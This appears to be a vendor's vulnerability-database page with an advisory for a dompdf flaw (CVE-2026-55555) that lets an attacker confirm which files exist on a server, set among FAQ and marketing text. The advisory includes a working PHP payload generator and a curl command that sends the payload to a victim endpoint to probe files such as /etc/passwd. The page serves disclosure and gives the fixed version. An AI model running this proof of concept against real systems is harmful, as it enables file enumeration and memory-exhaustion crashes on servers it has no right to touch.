How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

363,156

Total vulnerabilities in the database

CVE-2026-55555 — dompdf / dompdf

Observable Discrepancy

Description

Dompdf is vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion.

The critical point of this flaw is the discrepancy in system behavior:

If the file exists: Dompdf attempts to process the local resource multiple times, leading to an "Allowed memory size exhausted" error, which crashes the creation.
If the file does NOT exist: The rendering engine fails quickly or ignores the import, and the memory limit is not reached.

This discrepancy allows an attacker to enumerate sensitive files on the server, regardless of CHROOT restrictions.

Some factors impact the ability of attackers to exploit the vulnerability:

The attacker must be allowed to provide unrestricted and/or unsanitized HTML content.
System parameters must be configured in such a way that Dompdf is able to generate a memory overflow error.
- HTTP GET querystring or POST body must allow large data
- Memory limits must be low enough that Dompdf can trigger an overflow
- $_dompdf_show_warnings when set to true can bump memory usage

Example Scenario

1. Vulnerable System

A web application provides a public mechanism for generating a PDF based on user supplied content. The application accepts raw HTML input or renders user-supplied content without sanitation or validation and processes it using Dompdf.

Vulnerable Endpoint: http://example.com/index.php
Vulnerable Parameter: html_input (POST)

index.php simplified:

$dompdf = new Dompdf(new Options());
$dompdf-&gt;loadHtml($_POST[&#039;html_input&#039;]);
$dompdf-&gt;render();
$dompdf-&gt;stream(&quot;document.pdf&quot;);

2. Attack Generation

The attacker runs a script locally on their own machine to generate a heavy payload. This payload is then sent to the victim's public endpoint via a standard HTTP POST request.

Attacker's Local Script (payload_gen.php):

&lt;?php

/**
 * Usage: php exploit.php &lt;file_path&gt; &lt;iterations&gt;
 * Example: php exploit.php /etc/passwd 5000
 */

// Check if the file argument was provided
if ($argc &lt; 2) {
    echo &quot;[-] Usage: php exploit.php &lt;file_to_read&gt; [iterations]\n&quot;;
    exit(1);
}

$file = $argv[1];
$iterations = isset($argv[2]) ? (int)$argv[2] : 5000;

function generate_payload($file, $iterations) {
    $css = &quot;&quot;;
    $body = &quot;&quot;;
    
    // We use @font-face to trick the engine into attempting a local file read
    for ($i = 0; $i &lt; $iterations; $i++) {
        $css .= &quot;@font-face { font-family: \&quot;f{$i}\&quot;; src: url(\&quot;file://{$file}\&quot;); }\n&quot;;
        $body .= &quot;&lt;span style=\&quot;font-family:f{$i}\&quot;&gt;.&lt;/span&gt;&quot;;
    }
    
    return &quot;&lt;html&gt;&lt;head&gt;&lt;style&gt;{$css}&lt;/style&gt;&lt;/head&gt;&lt;body&gt;{$body}&lt;/body&gt;&lt;/html&gt;&quot;;
}

// Output the payload to stdout for piping
echo generate_payload($file, $iterations);

?&gt;

3. Exploitation

The attacker pipes the malicious HTML into a curl request targeting the remote server:

php payload_gen.php /etc/passwd 5530 | curl -X POST https://victim-app.com/index.php \

    --data-urlencode &quot;html_input@-&quot; \

    --output response.pdf

By analyzing the response.pdf file generated (by the size or error), the remote attacker can confirm the existence of files without having direct access to the server. When a file reference is valid and the execution parameters are met, Dompdf overflows the PHP limit and hangs/crashes.

Existent file:

Non-existent file:

Note that the specific iteration count that will trigger the overflow varies by system. This is based on the memory limit imposed by the target system as well as the PHP internals related to memory management (heap allocation and garbage clean up). Under most scenarios there is no apparent difference in memory usage between existent and non-existent files. But with a specific number of file operations the memory limit can be breached only when the file exists.

Impact

Information Disclosure (File Oracle via Reflected HTML): In scenarios where a user can control reflected HTML, an attacker can confirm the existence of sensitive local files (e.g., .env files, SSH keys, or system configurations). By observing whether the application returns a memory exhaustion error (file exists) or renders normally (file does not exist), the attacker can systematically map the server's file system.

Published: Jul 22, 2026
Updated: Jul 23, 2026
CVE: CVE-2026-55555
GHSA: GHSA-7x2p-4jvh-6384
Severity: Low
Exploit:
CISA KEV:

No technical information available.

CWEs:

CWE-203

Affected Software
References

Software	From	Fixed in
dompdf / dompdf	-	3.1.6

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.